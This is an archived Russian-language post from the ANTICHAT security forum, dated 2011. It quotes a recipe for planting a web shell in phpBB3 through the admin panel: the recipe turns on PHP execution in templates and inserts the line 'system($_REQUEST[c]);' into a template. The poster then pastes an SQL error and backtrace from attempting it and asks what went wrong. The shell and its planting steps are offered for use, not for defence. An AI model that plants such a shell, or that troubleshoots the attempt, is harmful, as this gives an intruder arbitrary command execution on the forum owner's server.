Ваши вопросы по уязвимостям.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

14.03.2011, 15:01

Unknown

Guest

Сообщений: n/a

Провел на форуме:
191387

Репутация: 6

Цитата:

Сообщение от stan_q

stan_q said:
Заливка шела через темплейты в phpBB3 (необходим доступ в админку).
1. Разрешаем выполнение пхп в темплейтах. Устанавливаем галочку в Основные настройки(General Settings) -> Настройки безопасности(Security Settings) -> Разрешить выполнение пхп в темплейтах (Allow php in templates).
2. Далее в стилях выбираем необходимый темплейт и прописываем необходимый пхп код в следующей конструкции:

system($_REQUEST[c]);

Источник

Цитата:

Сообщение от None

SQL ERROR [ mysqli ]
Incorrect string value: '\xC1\xF0\xFF\xED\xF1\xEA...' for column 'template_data' at row 1 [1366]
INSERT INTO phpbb3_styles_template_data (template_id, template_filename, template_included, template_mtime, template_data) VALUES (1, 'overall_footer.html', 'confirm_body.html:faq_body.html:index_body.html:l ogin_forum.html:mcp_approve.html:mcp_footer.html:m cp_move.html:memberlist_body.html:memberlist_email .html:memberlist_leaders.html:memberlist_view.html :message_body.html
osting_layout.html
rime_delete_confirm.html:report_body.html:reputati on_body.html:search_body.html:search_results.html: thankslist_body.html:thanks_results.html:toplist_b ody.html:ucp_agreement.html:ucp_footer.html:ucp_re mind.html:ucp_resend.html:viewforum_body.html:view online_body.html:viewtopic_body.html:gallery_foote r.html
ortal_body.html:stats_footer.html:', 1294949740, '
блабла
BACKTRACE
FILE: includes/db/mysqli.php
LINE: 163
CALL: dbal->sql_error()
FILE: includes/acp/acp_styles.php
LINE: 2624
CALL: dbal_mysqli->sql_query()
FILE: includes/acp/acp_styles.php
LINE: 3661
CALL: acp_styles->store_templates()
FILE: includes/acp/acp_styles.php
LINE: 3628
CALL: acp_styles->_store_in_db()
FILE: includes/acp/acp_styles.php
LINE: 774
CALL: acp_styles->store_in_db()
FILE: includes/acp/acp_styles.php
LINE: 180
CALL: acp_styles->edit_template()
FILE: includes/functions_module.php
LINE: 507
CALL: acp_styles->main()
FILE: adm/index.php
LINE: 78
CALL: p_master->load_active()

что неправильно сделано?